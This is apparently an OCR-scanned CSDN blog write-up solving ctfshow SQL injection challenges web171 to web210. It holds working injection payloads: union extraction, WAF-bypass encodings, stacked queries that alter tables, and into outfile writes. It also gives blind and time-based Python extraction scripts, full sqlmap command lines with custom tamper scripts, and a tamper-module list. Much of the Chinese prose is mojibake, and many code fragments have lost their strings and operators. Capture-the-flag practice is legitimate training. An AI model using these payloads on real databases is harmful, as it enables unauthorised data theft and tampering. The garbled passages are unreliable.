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$sgl = "select username,password from user where username !='flag' and id = '".§_GET['id"]."" limit 1;";
ID FHFE =15
1 admin admin
2 useri 111
3 user2 222
4 userAUTO passwordAUTO
5 userAUTO passwordAUTO
6 userAUTO passwordAUTO
7 userAUTO passwordAUTO
8 userAUTO passwordAUTO
9 userAUTO passwordAUTO
10 userAUTO passwordAUTO
CSDMN @&=Murmuzi
> =]
HiEA) R
$sql $ GET

ALK& R RG] S, mREAY, WM Tid="1"limt1; §E<HIRE

P& =55
HUEZEKEE: parsererror P »
CSDN @2 Murnuzi
B R AT LAE -+ R RS AN 515, Blid="1" limit 1;
EFID —t &g

ID HBFPa =65

1 admin admin
CSDN @ZMurnuzi

F 2 Hunion& #j >k $k B database

1' union select database(),2,3 --+



select. unionff FvE2

select [Fl4%&],... from R%A
select [FI4%&],... from REZ where %

union: ZBRIEFFH TSNS RERNIE. JEHZBRERN, SENXESERETFERST.

FHFID 1" union select database(),2,3 -+

ID HFP#E BTG
1 admin admin
cifshow web 2 3
CSDN @2 Murnuzi
FLEAMRZ-1, Bidds-1LEREERHdE EMEEAE=MEK. B
AFID -1' union select database(),2,3 -+
ID Bra =5
ctishow_web 2 3
CSDN @2 Murmnuzi

i =

RIREE L 75, BaEbrRL. 1 Hgroup_concat()EE, IR HIE AR FAT BB A Ak

-1' union select group concat(table name),2,3 from information_schema.tables where table schema="ctfshow web"--+H

FFID  up_concat(table_name),2,3 from information_schema.tables wt &
ID P& =53
ctfshow_user 2 3
RIEEF 4

' union select group_concat(column_name),2,3 from information_schema.columns where table name="ctfshow_user"--




AFID mation_schema.columns where table_name="ctfshow_ user"--+

ID FF& Lo
id,username,password 2 3
CSDN @2 Murnuzi

BAR—IFIE R 4138 3% id username password, {H B EAIEHHRE

B Japassword & Hilflag

-1' union select password,2,3 from ctfshow_user --+

web172

F_E#fE, XIRFEctishow _user2

-1' union select password,2,3 from ctfshow_user2 --+

web173

HEEHANGERTREH flag"

H L& BLH - ctfshow_user3, payloadifZAR4E

-1' union select password,2,3 from ctfshow_user3 --+

web174
B, XERAREE T4, HEULERselect-no-waf-3.php, 7 E ik HKselect-no-waf-4.php

iR B4

if(!preg_match( , json_encode($ret))){

$ret[ ]

WK —TF1" order by 1,2 —+ KB ASHIRHRIE O R, bl AE25
B R A oy s flagft st A 45 2] &
FATARYE LT A9 B IR

-1' union select password,2 from ctfshow_userd4 --+



HFID -1' union select password,2 from ctfshow_user4 —+
ID P& =

CSDN @2 Murnuzi

WL RN A BHEA B e E laght Bl B a8 A A
MXERBMEFER AN, FHsubstrigf). KEHREEOALE R/apivd.php. AN TIREEE, XH 4%, HWAWT

import requests

lenth (flag)
s 32,128

while True:

flag (3)
print(flag)

break

payload
{i} {3}
r = requests.get(url=url+payload).text

if( in r):
]
else:

web175

if(!preg_match( , json_encode($ret))){

$ret| ]

1
J

faj AR T —TKIF R P5I
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R EE, FERNEIE TWX00SI\W7f, R7EERAEIMERMBFRHT .
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lenth (flag)
s 32,128

while True:

flag (3)
print(flag)

break

payload

{i} {3}
start_time = time.time()
r requests.get(url=url+payload).text
end_time = time.time()
sub = end_time - start_time
if(sub 0.5):

J

else:

Rk —
15 2 0 B m T & e i i 07 2 B PR B %

-1' union select 1,group_concat(password) from ctfshow_user5 into outfile '/var/www/html/flag.txt' --+

RV I urlflag BN AT & Elflag. §I T A RS 1% #F AT BAIX kR

web176

function waf($str){

(L FRE) x (Ba)

ZEBRMNA—T, F—KURK, RIARLTET NERselect, BkSelectd v 5uit

& JGpayload N

-1' union Select password,2,3 from ctfshow_user--+

HEEE
web177
MR T —TF ST =8, HA. EBRA#F UGS %23

-1'/**/union/**/select/**/password,2,3/**/from/**/ctfshow_user%23



T3 e m] BA
web178

AL/, B LA %0958 18 th &2 7T LA

-1'%09union%@9select%0@9password, 2, 3%09from%»09ctfshow_user%23

web179
A 1°%090rder%09by%091,2,3%23, KIEH Bl &
MR, 1 %0corder%0cby%0c1,2,3%237F [6] &

Pt LLiX B %0cRAR B B s

-1'%0@cunion¥%@cselect%Ocpassword,2,3%0cfrom%0cctfshow_user’%23

web180-web182

XEWMAFESIE TS, RIESZEEERKELIE T Mi%

RI5EE T Tfeng. y4. dota_stijpayload

R SERAENTOR) A Fid 38 T %23

yARI R F B0 or(id=26)and’1°="1

payload N\ & #iE A) 5t & where username !="flag’ and id = “or(id=26)and’1’=*1" limit 1;";
5 AflagiidZ26, andfIfEsed thorks

L #payloadt 24 F (userame !="flag’ and id = *) or (id=26and’1'="1")

SR Ja feng {8 — 1 45 & union%0cselecT%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%0cwhere%0c’1'="1

HLmaIERMER A 1U="1RER T %23
LRGETREERENEIF. FrlliX=3EE%—MpayloadXy

'or(id=26)and'1'="1

JEH R — T, web181FFIRA THBLRT

function waf($str){
return preg_match(

function waf($str){

return preg_match(

web183

R [E]32 45



function waf($str){
return preg_match(
$str);

1
J

"SR

$user_count 0;

Lébé
HRENNSHEISIETES, or
1BA) R #E T POST/E S tableName=

$sql .$_POST[ To®g%c

£ NtableName=ctfshow_user, 7E&E#145HE < E Buser_count=22; #iHIH2241d%

MREARTUEEEENTTX, REARNENflagkBIEHH, WREIRRZ1, WA ILEKagRIEFK. R/Ewhere/sH 2
SRR, BT AN TR AT

FEHAORNE, %5 Hlike, FAwhereM%RkHE LA TR E M B

t requests

i in (CH)E
for j in
data { :
r = requests.post(url=url, data=data).text
if in r:
flag Jj
print(flag)
if j
exit()
break

web184

HHIEH

R 632 45



function waf($str){

return preg_match(

HHEEEAM EH—F, REREZH. ERXEEED, KALETE, XREFRS TH.

{H 2 wherebanE T, & sleep

iX B & y4 R # H right join, yulifi{éE FH fhaving

RIGHT JOIN CH#EH) . MTREARAGIESR, HELEREAEXNMILARKITR.

ctfshow% 47 1631 il i, 15F|0x63746673686f7725

B G RiE R tableName=ctfshow _userZ#, [EIE22%i2F

#RJ5 P ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686f7725% %, R#&flag
onREEAEH

RIL[E & $user_count = 43;

WX BInRfagRIEHK, BKARSEBluser count=43, BN AEEER], FILERBERE

import binascii

import requests

def str_to_hex(s):
return binascii.b2a_hex(s.encode()).decode()

i in (CHL)E
for j in
res str_to_hex(flag+j
data { :
r = requests.post(url=url, data=data).text
if in r:
flag Jj
print(flag)
if j
exit()
break

web185
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function waf($str){

return preg_match(

[0-91% T [ERYyAZZNM T —iKE

true pi() 1

true+true 2
floor(pi()) 3

ceil(pi() 4

floor(version()) 5
ceil(version()) 6
ceil(pi()+pi() 7

floor(version() +pi()) 8
floor(pi()*pi()) 9
ceil(pi(Q*piQ) 10
ceil(pi()*pi()) +true 11

cei(pi()+pi) +version()) 12
floor(pi()*pi() +pi()) 13
ceil(piQ*pi()+pi() 14
ceil(pi()*pi() +version()) 15
floor(pi()*version()) 16
ceil(pi()*version()) 17
ceil(pi()*version()) +true 18
floor((pi()+pi0)*pi() 19
ceil((pi0+pi0)*piQ) 20
ceil{ceil(pi())*version()) 21
ceil(pi(Q*ceilpi()+pi()) 22
ceil((pi() +ceil (pi()*pi()) 23
ceil(pi())*ceil(version()) 24
floor(pi()*(version() +pi())) 25
floor(version()*version()) 26
ceil(version()*version()) 27
ceil(piQ*pi0*pi0-pi0) 28
floor(pi()*pi()*floor(pi())) 29

MESEERKMET, VAZZHE B IX RS !
Fi concat()¥ Bt pfEE R, FH ¥k & concat(‘ab’,'cd) —> abcd

RBEZEBE— TRINIK AR LT !



import requests

def str_to num(n):

return ( n)[:-1]

concat_str(s):
res
for i in s:
res str_to_num(

return res[:-1]

concat_str(flag+j

{
requests.post(url=url, data=data).text

in r:
flag Jj
print(flag)
if j
exit()

break

web186
SUR/ AR R VA=A
BiHiEH)

iR 64

function waf($str){
return preg_match(

W, E—ER K EAE & AT LA
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$username $ POST[
$password = md5($_POST[

if($username ){
$ret| ]

die(json_encode($ret));

md5Z JEiEANRZ, HZ&ffifdyop.
username=admin password=ffifdyop
Bk R 2 ffifdyopEmd5 2 J5 IIME £ 2761722736c95d99€921722cf9ed621c, TiX & BE1Thex J5 or 6E].é!r,uib.
WREZA or BRARIRIEN
fEmysql B, FERMEA/RBAINES, PAFFKIFR B B A HACER S . EERENRXMIEN 2 VAR B SHERN, thin
password=>xx’ or ‘“1x00000xx, A4 B 24 Fpassword="xxx or 1, tHEiH 24 Fpassword="xx or true, FrlLRBEIE#HRtrue. HRERIG

RIRFEI, NRRIFL, REREFIFLABLALI.
LRI REHFEHE, MATFEHT S, Hinpassword=xx or 1, I4REMEHRIrue. OoodERIERFH)

WAL B : AR ACSDNIEE [bfengjl BIEGICE, #IECC 4.0 BY-SARAUIMY, HEiE M L ESCH a8 kA5,
JR3CEE#:: https://blog.csdn.net/rfrder/article/details/113664639

it UARE =5 T 75 BE A5

e pods o B =@ Bl EES Cookie &R WAL #FH LR
ST F ed718954-b622-4f... /api/ Jjquery-3.2.1.min.js:10... html 31553

web188

if(preg_match( , $username)){
$ret| ] g

die(json_encode($ret));

if(!is_numeric($password)){

$ret[ ]

die(json_encode($ret));

if($row[ ]==intval($password)){
$ret[ ] ;
array_push($ret[ 1, array( $flag));

HHIEH


https://blog.csdn.net/rfrder/article/details/113664639

{$username}";

payload:

username=0&password=0

iR

f£ where username=0 XFEHIE#F, FEAusername R FHIEH, FEmysqlih F1F e SHFHAT BRI R, LLF Ik
R BB A0, TRl AN where BT BAIE T LA BEFF Sk (4 $0048 25 1 ok

mif($row[' pass’]==intval($password)) th 255 th iz, 2RI BRFFIF LT

SE N FE: hitps://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-
column-is-v

web189

$sql {$username}";

if(preg_match(
, $username)){
$ret[ ] ;
die(json_encode($ret));

}

if(!is_numeric($password)){
$ret[ ]
die(json_encode($ret));

}

if($row| ]1==$password){
$ret[ ] ;

1
J

WRIBRF &R, HAME % T flag#E/apifindex.phpH

X B AR E M load_file(), FE—MRZ select load_file(xxxx)

LOAD_FILE(file_name): REUCHFIHREISAFNENFERF R . EMERHRE, SOHFUHML T RS #EN L, 5H1R E EBBAAR SUH,
T HL 48 FILEAUFR «
regexp: mysqlH i IE IRk R MERF

X Bt Aload_fileft Aregexps kit T BiE, WRIENILE R T, UEHRMIMEag+str()2EFK, LLkRE Zlflag, kL0


https://stackoverflow.com/questions/18883213/why-select-from-table-where-username-0-shows-all-rows-username-column-is-v

for j in table:

payload {
10}
requests.post(url=url,data=payload).text
in r):

flag Jj
print(flag)
1F(3 )

break

web190
19019/ H ik 2 R

R, BXI T, XEIFLERboolHE

{$username}'";

iR B4

if(!is_numeric($password)){
$ret[ ]
die(json_encode($ret));

}

if($row| ]==$password){
$ret[ ] ;

1
J

T I B RE, AR T IR
&, apifiindex.php T

JBAEE K Biflag M FEctfshow_user, MBEFTF— TRLE. HEBARBELEE, XEMFMsqmapizt—ERER, FAK
PRAET .

BHRIEKEREE, HAGRKRSRREAR P A NELER

XR—AKHESE, XA payloadREifFESL



import requests

lenth (flag)
32
128

while True:

flag (3)

print(flag)

if( (flag) 2 and (3)
exit()

break

payload

data :payload
s :114514}
r = requests.post(url=url,data=data).text

if( in r):

else:

/)5 HAE1E Blflag
web191
if(!is_numeric($password)){

$ret| ]

die(json_encode($ret));

]==$password){
] ;

if(preg_match( , $username)){
$ret| ] g
die(json_encode($ret));




%, iduE T ascii, Il Etord g

import requests

lenth (flag)
32
128

while True:

flag (3)

print(flag)

if( (flag) 2 and (3)
exit()

break

payload

data = { :payload
, :114514}
requests.post(url=url,data=data).text

in r):

web192

if(!is_numeric($password)){
$ret| ]

die(json_encode($ret));

]==$password){
] g

if(preg_match( , $username)){
$ret[ ] ;

die(json_encode($ret));

28, DR, ELAMIERZHITHT ord

X B A IE W % LA




import requests

for j in table:

username_data

data { : username_data,
: 1}

r requests.post(url=url, data=data).text
if in r:

flag Jj

print(flag)

if j

exit()

break

web193

R [EZ

if(!is_numeric($password)){
$ret[ ]
die(json_encode($ret));

}

if($row| ]==$password){
$ret| ] g

if(preg_match( , $username)){
$ret[ ] ;

die(json_encode($ret));

XEAEF—EERER E, T substr. AREL A LikelE

RIERXBERIURAZT P EHE—




import requests

for j in table:
pay = flag+j
username_data
{pay}
data : username_data,
: 1}
requests.post(url=url, data=data).text
if in r:
flag Jj
print(flag)
if j
exit()

break

ctfshow_f1lxg
{pay}',1,0)

web194
R B2 4
if(!is_numeric($password)){

$ret| ]

die(json_encode($ret));

]==$password){
] ;

if(preg_match( , $username)){
$ret[ ] ;
die(json_encode($ret));

AR, 4k4£193
MARIE B TE R BlfengBiy4 A B T locate

LOCATE(substr,str), LOCATE(substr,str,pos): & —FiEkiREFHEFsubstrE B strE MUK E . B /MEERE &
substrfEFEfFHstr, MEposhHHEE—RHIMKAE. RE{EHO, substrAfEstr.




WIREEE ok, locateFlllikeZRIAK
web195

R [E]32 4

if(!is_numeric($password)){
$ret| ]

die(json_encode($ret));

1
J

if($row| ]==$password){
$ret[ ] ;

1
J

if(preg_match(
, $username)){
$ret[ ] ;

die(json_encode($ret));
!
J

if($row[@]==%$password){
$ret[ ]
}

RERHEREREREHAag, RERXEUR T REREN, ProlEE#HEA R XU R
AUE B EIE T EH

& Twp, ATLLAIRSIS REBEE
RERBEZEFZHALT, FHIHENRwWE R E&R IS ELRET T

FrUA T

= @;update’ ctfshow_user set pass =1

1

web196
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if(preg_match(
, $username)){
$ret| ] 5

die(json_encode($ret));

if(strlen($username)>16){

$ret[ ]

die(json_encode($ret));

if($row[@]==$password){
$ret| ]

HRBIXME LK RN R B INE R, REERI6FHET

AE, NEIMEANTER RIS I T select A 2&select

/I HE g B ERIEEIDAF
$sql = “ pass from ctfshow user where username = {Susername};";
IR[EFE

//ToDo BT TAMNE, T, A= MNEEE—1m e
if(preg match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xal | \x00 |\F[\x23 |\ " [\" IIL'.r.ior.I or|a:
Sret['msg']="FAFREIEL";

die(json_encode ($ret));

if({strlen{Susername)>16) {
Sret['msg' =" APEAEEET 1 eMNER " ;

die(json_encode ($ret));

Javascrpt:; if(Srow[0]=—Spassword

SELECT 2 TR(A) RS5FIS(C) LB S TS () IESEa0SDN 2 B uriezl 3

{B R selectifi Sz e H
i LApayload s &

username = 1;select(1)
password = 2333

EAEMAZIRANA 7, BrEARAT T select(1)
web197

R P 4w LR



if( , $username)){
$ret[ ] ;

die(json_encode($ret));

1
J

if($row[@]==$password){
$ret| ]

REXBEMMNKRE, BEREEESlag, ERENKIERCcHshow _userfIiE L T2 /E 4 F XA H

iX B Fifeng Aly4 K fiisk

username = 1;alter table " ctfshow_user’ change “pass’ ~feng  varchar(255); alter table "ctfshow_user’ change "id

* “pass’ varchar(255)

SRJGusername = @

password \1FF 46 12 i

B ix BH SERAEIdE R T pass, 1id R 24i%y, RZELE LT e E R Hfag
BAEA B, REENEES Dk ke
w, ST, HRERT, HT.
web198
R P& K
if( , $username)){

$ret[ ] g

die(json_encode($ret));

}

if($row[@]==$password){
$ret[ ]

0 R R — 5 0 v
web199

if( , $username)){
$ret[ ] g

die(json_encode($ret));

1
J

if($row[@]==$password){
$ret[ ]

ME U T AN
A R A ) T R



= 1;show tables;

ctfshow _user

web200

Y B LEHRM ! payloadF |k

web201

AT IR T sqimap B4, 4!

kali g #isqlmap, AZWT, FFE

f#f--user-agent ¥5Eagent

if - -referer Siitreferertiss

& — Fnetwork

http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12&page =1&limit=10

QetifsR VT, SERLHEE H E V7 Mnetwork S IR B T

2 e
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --dbs --user-agent sqlmap --

referer http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php

BRSNS, HPRMNEAKEEZctfshow_web

e
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --refere
r http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow web --tables

vE H kctfshow_user

=]l
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --refere
r http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow user --col

umns

7 i 3kid username pass

R B
sqlmap -u http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/api/?id=12 --user-agent sqlmap --refere

r http://f6405b3c-b606-47bd-b2b1-443c31e912c6.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_user -C pa

ss --dump

web202
B H iR : ff—data % sqlmap g R 77 =R

data SR iZRPOSTHEIE, X BEARGETA A L Kpayload & ia ], e iEi



® sqimapEEhi [
@ (HH--data JEEEsqImapANERA T,

TEERE

Hiiaa

/ /¥t s g LIBRRI B IRIEE T

$=ql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$ _GET['id']."";";

2 Daws Dass NRs () atees Qe wE r KEskE 88 5 Max HacKBar

I Q O [F\ HIML
S o<tz Fr e = A o) HEL
Fa e4fach6f-d2b4-- /api/%id=18&page: jquery-3.2.1.minjs:10... html 7801
e4fa 0 .. html 780 3

limit=10

EGETHiSEEAH K. . —data=gl 7T LA

B4 &5 Mpayload

sqlmap -u http://e4fac56f-d2b4-460b-b90b-4c31f185db0cO.challenge.ctf.show/api/ --data="id=1" --user-agent sqlmap

--referer http://ed4fac56f-d2b4-460b-b90b-4c3f185db0cO.challenge.ctf.show/sqlmap.php -D ctfshow_web -T ctfshow_us
er -C pass --dump

web203
1§ Fl—method i % sqlmap & R 5

F— T ¥E: sqimap -hh [grep “method”

o $ sqlmap -hh |grep "method”
—method=METHOD Force usage of given HTTP method (e.g. PUT)

—csrf-method=CS.. HTTP method to use during anti-CSRF token page visit
—hpp Use HTTP parameter pollution method

w, MAEEMPUIE

url —RIEFAESEMANERE. MR RgethiE, MEERBEUFHHA*N RS, mRRpostiik, H—-data=xo=xx&yyy=yyy #& &
%, B R-data={"» "0} jsont& N HIE . WRARXFHEME NG, TEIMSH --method=put B --method=delete i ELREF #68 .
MERBESHE, MESHEMES ; MEFEMNAheader5 8, FEM ESH-—headers="xcxxnyy:yyy' , \n@&£1T, FRZAheader

o

WAL B : ARSCHCSDNIEE [ RS RIE | MREEISCE, #BAECC 4.0 BY-SARRMUIMY, FEIEM LFESCH bR KA.
JRCHEHE: https://blog.csdn.net/jayjaydream/article/details/108555660

BERTREAFER, B, QZXBEMEAPUTIER, EEREContent-Typesk, BRI MK LRI

--headers="Content-Type: text/plain”

T HLiX B AN B /api/ 25402 5 /api/index.php

sqlmap -u http://ffa2a543-adbc-49fa-8edc-ee90158860df.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --user-agent sqlmap --referer http://ffa2a543-adbc-49fa-8edc-ee90f58860df]

.challenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow user -C pass --dump


https://blog.csdn.net/jayjaydream/article/details/108555660

web204
f§ Fi—cookie $#2&3Zcookie £ ¥
XINFE T —HRcookie

UM_distinctid=17de6c9e 789a39-0088a827fd34f08-4c3e207f-144000-17de6c9e78a631;
PHPSESSID=df3sj4eht92seoarkj6énrotégr; ctfshow=c83835¢c8065c104bba7ca3dc385e55bd

Cookie

1E 2 Bl f A B i — Ay st 4

sqlmap -u http://dfbofl16f-c648-42e7-b3e0-240c5aal679%e.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --cookie="UM distinctid=17de6c9e789a39-0088a827fd34f08-4c3e207f-144000-17
de6c9e78a631; PHPSESSID=df3sj4eht92seoarkjé6nrotégr; ctfshow=c83835c8065cl104bba7ca3dc385e55bd" --user-agent sqlmap

--referer http://dfb9fl6f-c648-42e7-b3eB-240c5aal679e.challenge.ctf.show/sqlmap.php -D ctfshow _web -T ctfshow_u

ser -C pass --dump

B, WA RK, FRESHESE TRH

web205

apiifl Fl FE LM

EEnetwork KIM— KR THANE, HZETZ T —A/getToken.php

Wk 2 PLTETE R B ERMIHE 2 & 5615 R — 4 /getToken.php

EBRE, EERZE, EijHgetTokenphp, #RJEgetToekn.phpse B4 &R HIREH K.

fifsqlmap -hh, EHEBBFEFEARARINFTEN

--safe-urlI=SAFEURL URL address to visit frequently during testing "g?j%ﬁ$=%" ‘_J"L %I‘QQ%URLZ@ESEH’E%*
--safe-post=SAFE.. POST data to send to a safe URL - BT URLA BT S S BRI URL RS

Al — ™ e
--safe-req=SAFER.. Load safe HTTP request from a file s SH=CSR, . HHR7FRCSRFSHIEIS

--safe-freq=SAFE.. Regular requests between visits to a safe URL “%%?S%?mﬁiﬁgiaﬁgﬁggggéwwwm?£
--skip-urlencode  Skip URL encoding of payload data —cs ﬁ?u°“ > Ll F\‘, “.}
--csrf-token=CSR.. Parameter used to hold anti-CSRF token ~osTERRM=C. . RCSRFCHIERIVERUIR (BIAA0)

--csrf-url=CSRFURL URL address to visit for extraction of anti-CSRF token --ﬁ%ﬂsslﬁﬁ%ﬂ{iﬁﬁssllHTTl_:’_S

—safe-urlFt BB EE RN L EZ /I, Vil — FgetToken
HIRATRBV RIS, &FEHE|-safe-freq
FRAE T W Fpayload(X B# 7RG MFI4, FhA a2 # ipayload )

sqlmap -u http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.challenge.ctf.shq

w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://55bec546-a2a9-4ccc-9347-df357c6b8fa8.chal
lenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow flax -C flagx --dump

web206
sqQIiEEME
BmEE, FTREEZEHRA, RERIEREgetToken, Hiik— T b IFE A url

WIE— B PEANRIANE T RMI| 4, 1



sqlmap -u http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://4c678e53-94cf-464a-99ce-f4fac82f2817.challenge.ctf.shq
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://4c678e53-94cf-464a-99ce-f4fac82f2817.chal
lenge.ctf.show/sqlmap.php -D ctfshow web -T ctfshow flaxc -C flagv --dump

web207

—tamper R LE

B— Ftamper, H~, FtELSwalfiiA, HEREE—MBREZR M Rltampermonkey, TH M A F A< & 2 88
P I8 e v 7 S

pAEIpeE

function waf($str){

return preg_match(

BREFELE A Swalfii4, BEKZHK, SRSETHEN, hin%09?

B SEsqlmap B # ftamperfil A S 4 # #E sqimap itampersC A4 £ T, #2000 T X .

B RIIX P space2comment.pyliF 4 7] LA

apostrophemask.py Futf8f#&35|5

equaltolike.py MSSQL * SQLitedlike REZS

greatest.py MySQLHZRidid#E’ >’ , HHGREATESTE# A TS

space2hash.py FEEBHA#T BEHLFRE LEBRITHR

space2comment.py F/**/AEEHK

apostrophenullencode.py MySQL 4, 5.0 and 5.5, Oracle 10g, PostgreSQLZTiTIEWE S, B#HFRHMNE] 5
halfversionedmorekeywords.py Z4%3E7E AmysqlitGeid i ki%, &4KEFZ Bdmmysql iR A i{Fie
space2morehash.py MySQLHZEIEE#N #5 UKLEZFEIFRE HITHF

appendnullbyte.p Microsoft AccessfEf R G 45 R AL BN E 73 F /9w

ifnull2ifisnull.py MySQL, SQLite (possibly), SAP MaxDBZ&dxf IFNULL Ty

space2mssqlblank.py mssqlZ#EEHNLEE/FS

base64encode.py Hlbase644wty

space2mssqlhash.py mssqlZifj & #Ha i

modsecurityversioned.py mysqlHidiESEH, BSEBHEHRATRE

space2mysqlblank.py mysqlHFFEHEHELEEARKTS

between.py MS SQL 2005, MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0F HbetweenBH#H KT 5 ()

space2mysqldash.py MySQL, MSSQLEMZTIEFER () C - O FR—AWIFTZEE—AFIT C n’)




multiplespaces.py HE%ZESQLRBFEHMEANTH

space2plus.py F+E T

bluecoat.py MySQL 5.1, SGOSHREZIEEMELE—NABBENIE BFEFIISQLIER . REE#=like
nonrecursivereplacement.py XWEEWEHR . Hflpredefined SQLAEFwith® suitable forZEfX
space2randomblank.py REZFHZERF () N—ABENLKZE B G ZR AL

sp_password.py iBfisp_password’ MDBMS H & i E shBR 4B 26 78 Rk AT IR E

chardoubleencode.py Murl4mfd (AL LLGRAZH )

unionalltounion.py ##:UNION ALL SELECT UNION SELECT

charencode.py Microsoft SQL Server 2005, MySQL 4, 5.0 and 5.5, Oracle 10g, PostgreSQL 8.3, 8.4, 9.0url%mfd;
randomcase.py Microsoft SQL Server 2005, MySQL 4, 5.0 and 5.5, Oracle 1@0g, PostgreSQL 8.3, 8.4, 9.0HfEHLK/NEG
unmagicquotes.py FEFFF&iE GPC addslashes

randomcomments.py F/**/5%#|sqlxET

charunicodeencode.py ASP, ASP.NETHZF#FH unicode %kl

securesphere.py &4 5 B

versionedmorekeywords.py MySQL >= 5.1.13J%8%%d

halfversionedmorekeywords.py MySQL < 5.1 5S8Rl NvER

iR {5 R B IX B B T R A5 4 ctfshow_flaxca flagve
F & payload

sqlmap -u http://36dflef4-1736-43c6-b212-24cc8b77203f.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://36dflef4-f736-43c6-b212-24cc8b77203f.challenge.ctf.shq
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://36dflef4-f736-43c6-b212-24cc8b77203f.chal
lenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow web -T ctfshow flaxca -C flagvc --dump

function waf($str){
return preg_match( s $str);

}

selectB s, BELGIT T

THIEREEH EEBANHAE, selectB 7 M1 E Sid 8lE K/NE Gid e

RJE R B sqlmap i & — B K S select. -




Prilid 2 E—EE A, AN ST 5ImEA4

sqlmap -u http://09b88295-4801-4116-8e05-6c17422d302a.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://09b88295-4801-41f6-8e05-6c17422d302a.challenge.ctf.shq

w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://09b88295-4801-41f6-8e05-6c17422d302a.chal
lenge.ctf.show/sqlmap.php --tamper=space2comment.py -D ctfshow web -T ctfshow flaxcac -C flagvca --dump

web209

function waf($str){

return preg_match(
1
J

T IEAEHE * = Hop AR ERA TR DU %09%85d 48 5 =7] LA like
XERFERBEREA
£ /usr/share/sqimap/tamper/ F, & #ill—4>space2comment.py, 4 FE Hweb209.py

TERFERE

ublequote

doublequo

Mumuzi

SO T T XA



irstspace:
payload[i] .isspace():
firstspace =
retVal +=

payload[i] ==

quote = quote

payload[i]
doublequote doublequote

payload[i]

retVal +=

payload[i] doublequote quote:
retVal +=

CSDN @2 Mumuzi

from 1lib.core.compat import
from 1lib.core.enums import PRIORITY

_priority = PRIORITY.LOW

def dependencies():

pass

def tamper(payload, kwargs) :

retVal payload




if payload:
retVal
quote, doublequote, firstspace False, False, False

for i in ( (payload)):
if not firstspace:
if payload[i].isspace():
firstspace True
retval (0x9)

continue

elif payload[i]
quote not quote

elif payload[i]
doublequote not doublequote

elif payload[i]
retval (0x9)

continue

elif payload[i] and not doublequote and not quote:
retval (0x9)

continue
retVal payload[i]

return retVal

RIERXA AT, EEXBRT ERA
-D ctfshow_web -T ctfshow_flav -C ctfshow_flagx

sqlmap -u http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.show/api/index.php --data="id=1" --method=PU
T --headers="Content-Type: text/plain" --safe-url="http://d27c491a-77a4-4b76-9e64-04989ca8eba8.challenge.ctf.shq
w/api/getToken.php" --safe-freq=1 --user-agent sqlmap --referer http://d27c491a-77a4-4b76-9e64-04989ca8eba8.chal
lenge.ctf.show/sqlmap.php --tamper=web209.py --threads=3 -D ctfshow web -T ctfshow flav -C ctfshow flagx --dump

] [WARNING] changes made by tampering scripts are not included in shown payload content(s)

1 [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL > 5.0.12 (MariaDB fork)
[ 1 [INFO] fetching entries of column(s) 'ctfshow_flagx' for table 'ctfshow_flav' in database 'ctfshow_web'
[ ] [WARNING] something went wrong with full UNION technique (could be because of limitation on retrieved num
ber of entries). Falling back to partial UNION technique
[ 28] [WARNING] in case of continuous data retrieval problems you are advised to try a switch '—no-cast' or sw
itch '—hex'
[ 1 [INFO] fetching number of column(s) 'ctfshow_flagx' entries for table 'ctfshow_flav' in database 'ctfshow

web'

[ 1 [WARNING] running in a single-thread mode.| Please consider usage of option '—threads' for faster data re
trieval

] [INFO] retrieved:

1 [INFO] retrieved:

] [WARNING] it is very important to not stress the network connection during usage of time-based payloads t
o prevent potential disruptions CSDN @ZMumuz

EA MR REFRE T, FrOURAESR T &A8

web210-212




function decode($id){
return strrev(base64 decode(strrev(base64 decode($id))));

XtidiiTbase6Affiy, R¥ETRE, S, FRE

gk, ks RIRIRIRexp, R EERJEIN K R AERERE, B

base64.b64encode(baseb4.bb4encode(payload ret[::-1].encode()).decode()[::

SR JE BURweb210.py

from 1ib.core.compat import

from 1lib.core.enums import PRIORITY
import base64

_priority__ = PRIORITY.LOW

def dependencies():
pass

def tamper(payload, kwargs) :

retVal payload

if payload:
retVal
quote, doublequote, firstspace False, False, False

for i in ( (payload)):
if not firstspace:
if payload[i].isspace():
firstspace True
retVal (0x9)

1].encode()).decode()




elif payload[i]
quote not quote

elif payload[i]
